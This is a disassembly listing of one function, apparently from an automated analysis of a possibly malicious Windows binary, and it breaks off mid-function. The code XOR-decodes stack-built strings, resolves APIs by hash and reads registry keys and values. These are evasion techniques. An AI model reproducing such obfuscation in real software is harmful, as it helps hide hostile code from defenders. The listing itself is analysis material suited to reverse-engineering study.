Function at 0x422b09
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x21ec
call fcn.004095f0
mov dword [esp + 0x11ec], 0x39742788
mov dword [esp + 0x11f0], 0x3d633b7f
mov dword [esp + 0x11f4], 0x316b3f67
mov dword [esp + 0x11f8], 0x35603364
mov dword [esp + 0x11fc], 0x99a379f
mov dword [esp + 0x1200], 0xd5f0b5f
mov dword [esp + 0x1204], 0x15c0f4b
mov dword [esp + 0x1208], 0x300
mov byte [esp + 0x120c], 0
mov dword [esp + 0xa7c], 0
mov eax, dword [esp + 0xa7c]
cmp eax, 0x20
ja 0x41cfe8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xa7c]
mov ecx, dword [esp + 0xa7c]
movzx ecx, byte [esp + ecx + 0x11ec]
add eax, 0x4b9baa8d
xor eax, ecx
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x7c]
add al, 0x57
mov ecx, dword [esp + 0xa7c]
mov byte [esp + ecx + 0x11ec], al
inc dword [esp + 0xa7c]
mov eax, dword [esp + 0xa7c]
cmp eax, 0x21
jb 0x41cfa0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x11ec]
push 0
push 0
push 0x20019
push eax
mov dword [esp + 0x14], ecx
push ecx
call fcn.0043fa80
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x446330]
lea eax, [esp + 0x64]
lea ecx, [esp + 0x38]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push dword [esp + 0x5c]
call fcn.0043fe90
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446338]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], 0
cmp ecx, dword [esp + 0x38]
setb al
xor esi, esi
jmp dword [eax*4 + 0x446350]
mov eax, dword [esp + 4]
mov word [eax], 0
mov eax, dword [esp + 0x18]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x446358]
movzx edx, word [esp + 0x11ec]
test dx, dx
je 0x41e63f
xor ecx, ecx
lea eax, [esp + 0x11ec]
jmp 0x41e610
inc esi
xor eax, eax
cmp esi, dword [esp + 0x38]
setb al
jmp dword [eax*4 + 0x446350]
mov edi, dword [esp + 0x64]
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x41d0c3
mov eax, 0xffffffff
push eax
call fcn.00409620
add esp, 4
mov ebx, eax
mov dword [esp + 0x60], edi
lea eax, [esp + 0x60]
push eax
push ebx
push esi
push dword [esp + 0x48]
call fcn.0043fba0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446360]
jmp dword [0x4463c0]
lea eax, [esp + 0x54]
push dword [esp + 0x3c]
push 0
push 0x20019
push eax
push ebx
call fcn.0043fa80
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446368]
jmp dword [0x4463c0]
mov dword [esp + 0x7c], 0x4ef44c96
mov dword [esp + 0x80], 0x42f340ec
mov dword [esp + 0x84], 0x46f644fc
mov dword [esp + 0x88], 0x5aff58f8
mov dword [esp + 0x8c], 0x5ef15cef
mov dword [esp + 0x90], 0x52e85088
mov dword [esp + 0x94], 0x56f154ed
mov dword [esp + 0x98], 0x2a9e28e8
mov dword [esp + 0x9c], 0x2ecd2c98
mov dword [esp + 0xa0], 0x228420f2
mov dword [esp + 0xa4], 0x26962490
mov dword [esp + 0xa8], 0x3a9e3886
mov dword [esp + 0xac], 0x3e833c82
mov dword [esp + 0xb0], 0x32d13098
mov dword [esp + 0xb4], 0x368034e0
mov dword [esp + 0xb8], 0xaba0895
mov dword [esp + 0xbc], 0xebe0c82
mov dword [esp + 0xc0], 0x2a400bb
mov dword [esp + 0xc4], 0x6a904be
mov dword [esp + 0xc8], 0x1aab18d7
mov dword [esp + 0xcc], 0x1ebb1ca4
mov dword [esp + 0xd0], 0x12ad10a6
mov dword [esp + 0xd4], 0x16a614b6
mov dword [esp + 0xd8], 0xea20e8bb
mov dword [esp + 0xdc], 0xee1aec18
mov dword [esp + 0xe0], 0xe222e01a
mov dword [esp + 0xe4], 0xe623e425
mov dword [esp + 0xe8], 0xfa0df817
mov dword [esp + 0xec], 0xfe0efc0a
mov dword [esp + 0xf0], 0xf200f00e
mov dword [esp + 0xf4], 0xf651f402
mov dword [esp + 0xf8], 0xca0bc804
mov dword [esp + 0xfc], 0xce05cc03
mov dword [esp + 0x100], 0xc231c00e
mov dword [esp + 0x104], 0xc634c433
mov dword [esp + 0x108], 0xda2dd837
mov dword [esp + 0x10c], 0xde2fdc19
mov dword [esp + 0x110], 0xd227d01e
mov dword [esp + 0x114], 0xd622d425
mov dword [esp + 0x118], 0xaa05a821
mov word [esp + 0x11c], 0xacab
mov dword [esp + 0x11e], 0
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0xa5
ja 0x41d36a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
add eax, 0x44d6f723
xor eax, ecx
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
add al, 0x98
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0xa6
jb 0x41d320
lea edi, [esp + 0xe7e]
lea eax, [esp + 0x7c]
mov ecx, 0x28
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edx, [esp + 0x11c]
mov eax, edx
mov ecx, 1
lea edi, [esp + 0xf1e]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x7c], 0x76ec740a
mov dword [esp + 0x80], 0x6af9680c
mov dword [esp + 0x84], 0x6efa6cfc
mov dword [esp + 0x88], 0x620560f0
mov dword [esp + 0x8c], 0x660b64f1
mov dword [esp + 0x90], 0x9a0098f0
mov dword [esp + 0x94], 0x9efb9c03
mov dword [esp + 0x98], 0x921a9000
mov dword [esp + 0x9c], 0x96b79400
mov dword [esp + 0xa0], 0x8aff88f7
mov dword [esp + 0xa4], 0x8eca8ce1
mov dword [esp + 0xa8], 0x82118016
mov dword [esp + 0xac], 0x86e08417
mov dword [esp + 0xb0], 0xba2fb827
mov dword [esp + 0xb4], 0xbed8bccb
mov dword [esp + 0xb8], 0xb226b023
mov dword [esp + 0xbc], 0xb626b42e
mov dword [esp + 0xc0], 0xaac7a837
mov dword [esp + 0xc4], 0xae34acc4
mov dword [esp + 0xc8], 0xa2c7a03f
mov dword [esp + 0xcc], 0xa62ea434
mov dword [esp + 0xd0], 0xdafbd84c
mov dword [esp + 0xd4], 0xdeb8dca2
mov dword [esp + 0xd8], 0xd246d044
mov dword [esp + 0xdc], 0xd64ed4b6
mov dword [esp + 0xe0], 0xca55c852
mov dword [esp + 0xe4], 0xceefcc54
mov dword [esp + 0xe8], 0xc254c0b4
mov dword [esp + 0xec], 0xc652c4a7
mov dword [esp + 0xf0], 0xfa6ef872
mov dword [esp + 0xf4], 0xfe98fc69
mov dword [esp + 0xf8], 0xf29ff06e
mov dword [esp + 0xfc], 0xf665f485
mov dword [esp + 0x100], 0xea8de878
mov dword [esp + 0x104], 0xee73ec76
mov dword [esp + 0x108], 0xe276e086
mov dword [esp + 0x10c], 0xe696e489
mov dword [esp + 0x110], 0x1a8f188e
mov dword [esp + 0x114], 0x1e8e1c81
mov dword [esp + 0x118], 0x128e1080
mov dword [esp + 0x11c], 0x165c1479
mov dword [esp + 0x120], 0xa42085c
mov dword [esp + 0x124], 0xe4a0c5a
mov dword [esp + 0x128], 0x2450047
mov dword [esp + 0x12c], 0x6530455
mov dword [esp + 0x130], 0x3a6e386a
mov dword [esp + 0x134], 0x3e6c3c6e
mov dword [esp + 0x138], 0x32573062
mov dword [esp + 0x13c], 0x36753460
mov dword [esp + 0x140], 0x2a632861
mov dword [esp + 0x144], 0x2e7f2c6e
mov dword [esp + 0x148], 0x22702071
mov dword [esp + 0x14c], 0x26732475
mov dword [esp + 0x150], 0x5a09581b
mov dword [esp + 0x154], 0x5e095c1e
mov dword [esp + 0x158], 0x521a5007
mov dword [esp + 0x15c], 0x563b5403
mov word [esp + 0x160], 0x4849
mov word [edx + 0x4a], 0
mov dword [edx + 0x46], 0
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0xeb
ja 0x41d697
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
lea edx, [eax + ecx]
add eax, 0xec
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xca30deec
mov dword [esp + 0xa7c], edx
mov eax, dword [esp + 0xa7c]
add al, 0x67
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0xec
jb 0x41d640
lea edi, [esp + 0xf20]
lea eax, [esp + 0x7c]
mov ecx, 0x39
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea eax, [esp + 0x160]
mov ecx, 1
lea edi, [esp + 0x1004]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x7c], 0x8b60e58
mov dword [esp + 0x80], 0x4b90aaa
mov dword [esp + 0x84], 0xb406b2
mov dword [esp + 0x88], 0x1cbd02b6
mov dword [esp + 0x8c], 0x18bb1e91
mov dword [esp + 0x90], 0x14a51a4e
mov dword [esp + 0x94], 0x10ae16ab
mov dword [esp + 0x98], 0x6cae12b2
mov dword [esp + 0x9c], 0x681e6ec9
mov dword [esp + 0xa0], 0x641d6a1a
mov dword [esp + 0xa4], 0x60c36615
mov dword [esp + 0xa8], 0x7cee6236
mov dword [esp + 0xac], 0x78cb7ef1
mov dword [esp + 0xb0], 0x74cc7ace
mov dword [esp + 0xb4], 0x70d376ce
mov dword [esp + 0xb8], 0x4cc17221
mov dword [esp + 0xbc], 0x48f14efa
mov dword [esp + 0xc0], 0x44ff4af0
mov dword [esp + 0xc4], 0x40f446f8
mov dword [esp + 0xc8], 0x5c1442e5
mov dword [esp + 0xcc], 0x58d35ed0
mov dword [esp + 0xd0], 0x54ec5aed
mov dword [esp + 0xd4], 0x50ec56e2
mov dword [esp + 0xd8], 0xac1a52f5
mov dword [esp + 0xdc], 0xa8e0aede
mov dword [esp + 0xe0], 0xa4e8aae4
mov dword [esp + 0xe4], 0xa0f9a6fb
mov dword [esp + 0xe8], 0xbcefa2d1
mov dword [esp + 0xec], 0xb8ccbecc
mov dword [esp + 0xf0], 0xb4cabac8
mov dword [esp + 0xf4], 0xb00bb6c4
mov dword [esp + 0xf8], 0x8cf1b2c2
mov dword [esp + 0xfc], 0x88c78ec5
mov dword [esp + 0x100], 0x84fb8ac8
mov dword [esp + 0x104], 0x80f686f5
mov dword [esp + 0x108], 0x9ccf82f1
mov dword [esp + 0x10c], 0x98ed9edf
mov dword [esp + 0x110], 0x94d59ad8
mov dword [esp + 0x114], 0x90d896db
mov dword [esp + 0x118], 0xec3792df
mov word [esp + 0x11c], 0xeeed
mov dword [esp + 0x11e], 0
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0xa5
ja 0x41d911
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
lea edx, [eax + ecx]
add edx, 0x67b2f121
add eax, 0x67b2f121
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
add al, 0xd4
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0xa6
jb 0x41d8b0
lea edi, [esp + 0x114a]
lea eax, [esp + 0x7c]
mov ebp, edi
mov ecx, 0x28
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea eax, [esp + 0x11c]
lea edi, [esp + 0x11ea]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x7c], 0x3e843cf6
mov dword [esp + 0x80], 0x3a8b389c
mov dword [esp + 0x84], 0x3686348c
mov dword [esp + 0x88], 0x328f3080
mov dword [esp + 0x8c], 0xea90cbf
mov dword [esp + 0x90], 0xab708d8
mov dword [esp + 0x94], 0x6bc04b5
mov dword [esp + 0x98], 0x2bc00a4
mov dword [esp + 0x9c], 0x1eec1ca7
mov dword [esp + 0xa0], 0x1aef18d3
mov dword [esp + 0xa4], 0x16b114eb
mov dword [esp + 0xa8], 0x129c10c0
mov dword [esp + 0xac], 0xee59ec9f
mov dword [esp + 0xb0], 0xea5ee858
mov dword [esp + 0xb4], 0xe641e450
mov dword [esp + 0xb8], 0xe253e037
mov dword [esp + 0xbc], 0xfe43fc54
mov dword [esp + 0xc0], 0xfa4df846
mov dword [esp + 0xc4], 0xf646f446
mov dword [esp + 0xc8], 0xf226f053
mov dword [esp + 0xcc], 0xce41cc7e
mov dword [esp + 0xd0], 0xca7ec87b
mov dword [esp + 0xd4], 0xc67ec47c
mov dword [esp + 0xd8], 0xc208c063
mov dword [esp + 0xdc], 0xde12dc30
mov dword [esp + 0xe0], 0xda1ad812
mov dword [esp + 0xe4], 0xd60bd405
mov dword [esp + 0xe8], 0xd21dd027
mov dword [esp + 0xec], 0xae5eac22
mov dword [esp + 0xf0], 0xaa58a85e
mov dword [esp + 0xf4], 0xa619a45a
mov dword [esp + 0xf8], 0xa263a054
mov dword [esp + 0xfc], 0xbe75bc6b
mov dword [esp + 0x100], 0xba49b87e
mov dword [esp + 0x104], 0xb644b44b
mov dword [esp + 0x108], 0xb27db047
mov dword [esp + 0x10c], 0x8e7f8c71
mov dword [esp + 0x110], 0x8a47884e
mov dword [esp + 0x114], 0x864a8445
mov dword [esp + 0x118], 0x82258049
mov dword [esp + 0x11c], 0x9c83
mov dword [esp + 0x87c], 0
mov eax, dword [esp + 0x87c]
cmp eax, 0xa3
ja 0x41db6a
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
movzx ecx, byte [esp + ecx + 0x7c]
add eax, 0x6680f5cf
xor eax, ecx
mov dword [esp + 0xa7c], eax
mov eax, dword [esp + 0xa7c]
add al, 0x14
mov ecx, dword [esp + 0x87c]
mov byte [esp + ecx + 0x7c], al
inc dword [esp + 0x87c]
mov eax, dword [esp + 0x87c]
cmp eax, 0xa4
jb 0x41db20
lea eax, [esp + 0x10a8]
lea edx, [esp + 0x7c]
mov ecx, 0x28
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edx, [esp + 0x11c]
mov ecx, 1
lea edi, [esp + 0x1148]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp + 0x7c], 0xb2c8b0e6
mov dword [esp + 0x80], 0xcebdccb0
mov dword [esp + 0x84], 0xca46c8b8
mov dword [esp + 0x88], 0xc6b9c4b4
mov dword [esp + 0x8c], 0xc2a7c04d
mov dword [esp + 0x90], 0xdea1dc8c
mov dword [esp + 0x94], 0xdaa0d8a7
mov dword [esp + 0x98], 0xd6a8d4a8
mov dword [esp + 0x9c], 0xd2e0d0b5
mov dword [esp + 0xa0], 0xeed9eca2
mov dword [esp + 0xa4], 0xea8fe8d9
mov dword [esp + 0xa8], 0xe668e4b4
mov dword [esp + 0xac], 0xe297e06d
mov dword [esp + 0xb0], 0xfe8efc8c
mov dword [esp + 0xb4], 0xfa9ff88c
mov dword [esp + 0xb8], 0xf685f4a5
mov dword [esp + 0xbc], 0xf28df080
mov dword [esp + 0xc0], 0xe7b0c76
mov dword [esp + 0xc4], 0xa860876
mov dword [esp + 0xc8], 0x6560461
mov dword [esp + 0xcc], 0x28f008e
mov dword [esp + 0xd0], 0x1e6e1c69
mov dword [esp + 0xd4], 0x1a6e1868
mov dword [esp + 0xd8], 0x165c1471
mov dword [esp + 0xdc], 0x125a105c
mov dword [esp + 0xe0], 0x2e722c62
mov dword [esp + 0xe4], 0x2a752877
mov dword [esp + 0xe8], 0x266b2415
mov dword [esp + 0xec], 0x226e2012
mov dword [esp + 0xf0], 0x3e0c3c0e
mov dword [esp + 0xf4], 0x3a47380a
mov dword [esp + 0xf8], 0x36753478
mov dword [esp + 0xfc], 0x327b3079
mov dword [esp + 0x100], 0x4e7f4c0e
mov dword [esp + 0x104], 0x4a784879
mov dword [esp + 0x108], 0x460b4475
mov dword [esp + 0x10c], 0x42714003
mov dword [esp + 0x110], 0x5e115c1e
mov dword [esp + 0x114], 0x5a125817
mov dword [esp + 0x118], 0x5633541b
mov word [esp + 0x11c], 0x5051
lea ecx, [esp + 0x11c]
mov byte [ecx + 6], 0
mov dword [ecx + 2], 0
mov dword [esp + 0x87c], 0
mov ecx, dword [esp + 0x87c]
cmp ecx, 0xa6
ja 0x41dddd
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x87c]
mov edx, dword [esp + 0x87c]
movzx edx, byte [esp + edx + 0x7c]
add ecx, 0x6a9d643c
xor ecx, edx
mov dword [esp + 0xa7c], ecx
mov ecx, dword [esp + 0xa7c]
add cl, 0x73
mov edx, dword [esp + 0x87c]
mov byte [esp + edx + 0x7c], cl
inc dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
cmp ecx, 0xa7
jb 0x41dd90
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], esi
lea edx, [esp + 0x1006]
lea esi, [esp + 0x7c]
mov edi, edx
mov ecx, 0x28
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea esi, [esp + 0x11c]
mov ecx, 1
lea edi, [esp + 0x10a6]
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
lea ecx, [esp + 0xe7e]
mov dword [esp + 0x68], ecx
lea ecx, [esp + 0xf20]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], ebp
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edx
xor ecx, ecx
xor eax, eax
cmp ecx, 0x14
setne al
jmp dword [eax*4 + 0x446370]
mov eax, dword [esp + 0x54]
mov dword [esp + 0x87c], 0x494a4b4c
mov dword [esp + 0xa7c], 0
mov ecx, dword [esp + 0xa7c]
cmp ecx, 3
ja 0x41deca
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xa7c]
mov edx, dword [esp + 0xa7c]
movzx edx, byte [esp + edx + 0x87c]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x7c], ecx
mov ecx, dword [esp + 0x7c]
add cl, 0x88
mov edx, dword [esp + 0xa7c]
mov byte [esp + edx + 0x87c], cl
inc dword [esp + 0xa7c]
mov ecx, dword [esp + 0xa7c]
cmp ecx, 4
jb 0x41de80
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x41e5b0
mov edx, dword [esp + 0x87c]
xor edi, edi
mov ebx, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x625b6034
je 0x41e5a4
inc edi
cmp ecx, edi
jne 0x41def0
jmp 0x41e5b0
mov ecx, dword [esp + 0x58]
add ecx, 4
xor eax, eax
cmp ecx, 0x14
setne al
jmp dword [eax*4 + 0x446370]
mov dword [esp + 0x58], ecx
mov eax, dword [esp + ecx + 0x68]
mov dword [esp + 0x7c], 0x53825584
mov dword [esp + 0x80], 0x5f8e5180
mov dword [esp + 0x84], 0x5b8a5d8c
mov dword [esp + 0x88], 0x47be5988
mov word [esp + 0x8c], 0x4544
lea ecx, [esp + 0x11c]
mov byte [ecx - 0x8c], 0
mov word [ecx - 0x8e], 0
mov dword [esp + 0x87c], 0
mov ecx, dword [esp + 0x87c]
cmp ecx, 0x14
ja 0x41dfda
nop
mov ecx, dword [esp + 0x87c]
mov edx, dword [esp + 0x87c]
movzx edx, byte [esp + edx + 0x7c]
add ecx, 0xb498a502
xor ecx, edx
mov dword [esp + 0xa7c], ecx
mov ecx, dword [esp + 0xa7c]
add cl, 0xaa
mov edx, dword [esp + 0x87c]
mov byte [esp + edx + 0x7c], cl
inc dword [esp + 0x87c]
mov ecx, dword [esp + 0x87c]
cmp ecx, 0x15
jb 0x41df90
movzx ecx, word [eax]
lea esi, [esp + 0x87c]
test cx, cx
je 0x41e001
add eax, 2
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x41dff0
mov word [esi], 0
movzx eax, word [esp + 0x7c]
test ax, ax
je 0x41e031
lea ecx, [esp + 0x7e]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41e020
mov word [esi], 0
mov di, 0x31
xor eax, eax
cmp di, 0x35
setb al
mov dword [esp + 0x48], esi
jmp dword [eax*4 + 0x446378]
inc edi
xor eax, eax
cmp di, 0x35
setb al
jmp dword [eax*4 + 0x446378]
mov word [esi - 2], di
lea eax, [esp + 0x50]
lea ecx, [esp + 0x87c]
push dword [esp + 0x54]
push 0
push 0x20019
push eax
push ecx
call fcn.0043fa80
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446380]
mov dword [esp + 0x5c], 0x800
mov dword [esp + 0x4c], edi
mov dword [esp + 0x30], 0x400
xor ebp, ebp
mov dword [esp + 0x14], 0
jmp 0x41e0c1
inc ebp
lea eax, [esp + 0x30]
lea edi, [esp + 0xa7c]
lea ecx, [esp + 0x34]
lea edx, [esp + 0x5c]
push eax
push edi
push ecx
push edx
lea eax, [esp + 0x8c]
push eax
push ebp
push dword [esp + 0x68]
call fcn.00440160
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446388]
test byte [esp + 0x14], 1
sete al
cmp dword [esp + 0x34], 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446390]
xor eax, eax
cmp dword [esp + 0x34], 3
sete al
jmp dword [eax*4 + 0x4463a0]
mov dword [esp + 0xc], ebp
mov dword [esp + 0x1c], 0x5bfd5995
mov dword [esp + 0x20], 0x5fed5dff
mov dword [esp + 0x24], 0x238e21e9
mov dword [esp + 0x28], 0x27242596
mov word [esp + 0x2c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x11
ja 0x41e19e
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x1c]
add eax, 0xf303ab7
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x1f
mov ecx, dword [esp]
mov byte [esp + ecx + 0x1c], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x12
jb 0x41e170
movzx ebp, word [esp + 0x1c]
lea eax, [esp + 0x7c]
test bp, bp
je 0x41e1ec
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x1c]
mov eax, ecx
jmp 0x41e1c8
movzx ebp, word [edx]
test bp, bp
je 0x41e1ec
movzx esi, word [ecx]
test si, si
je 0x41e1ea
add ecx, 2
add edx, 2
lea ebx, [eax + 2]
cmp si, bp
je 0x41e1e2
mov eax, ebx
mov ecx, ebx
je 0x41e1c0
lea edx, [esp + 0x1c]
jmp 0x41e1c0
xor eax, eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446398]
xor eax, eax
cmp dword [esp + 0x34], 3
sete al
mov ebp, dword [esp + 0xc]
jmp dword [eax*4 + 0x4463a0]
mov dword [esp + 0xc], ebp
mov dword [esp + 0x1c], 0x9dfd9fce
mov dword [esp + 0x20], 0x91e793e5
mov dword [esp + 0x24], 0x95e7971d
mov dword [esp + 0x28], 0xa9ccabdc
mov dword [esp + 0x2c], 0xafae
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x13
ja 0x41e28b
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x1c]
add eax, 0x52ac5d14
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, eax
xor ecx, 0x8a
and eax, 0x75
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x1c], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x14
jb 0x41e250
movzx ebx, word [esp + 0x1c]
mov eax, dword [case.0x41e59d.14]
mov dword [esp + 0x10], eax
jmp case.0x41e59d.12
lea esi, [esp + 0x7c]
jmp dword [esp + 0x10]
test bx, bx
je 0x41e2a0
lea edx, [esp + 0x7c]
lea ebp, [esp + 0x1c]
mov eax, ebx
mov esi, edx
jmp 0x41e2c9
movzx eax, word [ebp]
test ax, ax
je 0x41e300
movzx ecx, word [edx]
test cx, cx
je 0x41e2f0
add edx, 2
add ebp, 2
lea edi, [esi + 2]
cmp cx, ax
je 0x41e2e3
mov esi, edi
mov edx, edi
je 0x41e2c0
lea ebp, [esp + 0x1c]
jmp 0x41e2c0
xor esi, esi
jmp dword [esp + 0x10]
jmp dword [esp + 0x10]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x4463b8]
mov ebp, dword [esp + 0xc]
inc ebp
jmp 0x41e0c1
mov eax, dword [esp + 0x30]
cmp eax, 2
mov ebp, dword [esp + 0xc]
jae 0x41e350
mov esi, dword [esp + 4]
jmp 0x41e3f2
mov eax, dword [esp + 0x30]
cmp eax, 2
mov ebp, dword [esp + 0xc]
jae 0x41e40b
mov esi, dword [esp + 4]
jmp 0x41e4b2
shr eax, 1
lea ecx, [eax - 1]
mov edx, eax
and edx, 3
je 0x41e397
mov dword [esp + 0x10], ecx
xor ebp, ebp
lea edi, [esp + 0xa7c]
mov ecx, dword [esp + 4]
nop
nop
nop
movzx esi, word [edi]
xor ebx, ebx
test si, si
setne bl
lea edi, [edi + ebx*2]
mov word [ecx], si
add ecx, 2
inc ebp
cmp edx, ebp
jne 0x41e370
mov dword [esp + 4], ecx
sub eax, ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
cmp ecx, 3
mov esi, dword [esp + 4]
jb 0x41e3f2
movzx ecx, word [edi]
xor edx, edx
test cx, cx
setne dl
lea ebx, [edi + edx*2]
mov word [esi], cx
movzx ecx, word [edi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea edi, [ebx + edx*2]
mov word [esi + 2], cx
movzx ecx, word [ebx + edx*2]
xor edx, edx
test cx, cx
setne dl
lea ebx, [edi + edx*2]
mov word [esi + 4], cx
movzx edx, word [edi + edx*2]
xor ecx, ecx
test dx, dx
setne cl
mov word [esi + 6], dx
add esi, 8
lea edi, [ebx + ecx*2]
add eax, 0xfffffffc
jne 0x41e3a0
mov dword [esi], 0x20003a
add esi, 4
mov dword [esp + 4], esi
mov al, 1
mov dword [esp + 0x14], eax
inc ebp
jmp 0x41e0c1
shr eax, 1
lea edx, [eax - 1]
mov edi, eax
lea ecx, [esp + 0xa7c]
and edi, 3
je 0x41e457
mov dword [esp + 0x10], edx
xor ebp, ebp
mov edx, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, word [ecx]
xor ebx, ebx
test si, si
setne bl
lea ecx, [ecx + ebx*2]
mov word [edx], si
add edx, 2
inc ebp
cmp edi, ebp
jne 0x41e430
mov dword [esp + 4], edx
sub eax, ebp
mov ebp, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
cmp edx, 3
mov esi, dword [esp + 4]
jb 0x41e4b2
movzx edx, word [ecx]
xor ebx, ebx
test dx, dx
setne bl
lea edi, [ecx + ebx*2]
mov word [esi], dx
movzx ecx, word [ecx + ebx*2]
xor edx, edx
test cx, cx
setne dl
lea ebx, [edi + edx*2]
mov word [esi + 2], cx
movzx ecx, word [edi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea edi, [ebx + edx*2]
mov word [esi + 4], cx
movzx edx, word [ebx + edx*2]
xor ecx, ecx
test dx, dx
setne cl
mov word [esi + 6], dx
add esi, 8
lea ecx, [edi + ecx*2]
add eax, 0xfffffffc
jne 0x41e460
mov word [esi], 0xa
add esi, 2
mov dword [esp + 4], esi
mov al, 1
mov dword [esp + 0x18], eax
inc ebp
jmp 0x41e0c1
mov eax, dword [esp + 0x50]
mov dword [esp], 0x494a4b4c
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x41e523
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x1c]
add cl, 0x88
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x41e4f0
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x41e560
mov edx, dword [esp]
xor edi, edi
mov ebx, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x625b6034
je 0x41e550
inc edi
cmp ecx, edi
jne 0x41e540
jmp 0x41e560
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
